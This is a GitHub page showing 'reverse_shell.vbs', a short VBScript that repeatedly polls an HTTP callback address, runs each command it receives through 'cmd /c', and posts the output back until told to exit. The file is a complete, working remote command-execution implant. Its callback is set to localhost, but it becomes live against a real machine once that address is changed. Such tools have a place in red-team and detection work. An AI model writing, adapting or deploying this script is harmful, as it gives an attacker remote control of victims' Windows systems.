-
Notifications
You must be signed in to change notification settings - Fork 20
Expand file tree
/
Copy pathreverse_shell.vbs
More file actions
32 lines (24 loc) · 849 Bytes
/
reverse_shell.vbs
File metadata and controls
32 lines (24 loc) · 849 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Option Explicit
On Error Resume Next
CONST callbackUrl = "http://localhost:80/"
Dim xmlHttpReq, shell, execObj, command, break, result
Set shell = CreateObject("WScript.Shell")
break = False
While break <> True
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
xmlHttpReq.Open "GET", callbackUrl, false
xmlHttpReq.Send
command = "cmd /c " & Trim(xmlHttpReq.responseText)
If InStr(command, "EXIT") Then
break = True
Else
Set execObj = shell.Exec(command)
result = ""
Do Until execObj.StdOut.AtEndOfStream
result = result & execObj.StdOut.ReadAll()
Loop
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
xmlHttpReq.Open "POST", callbackUrl, false
xmlHttpReq.Send(result)
End If
Wend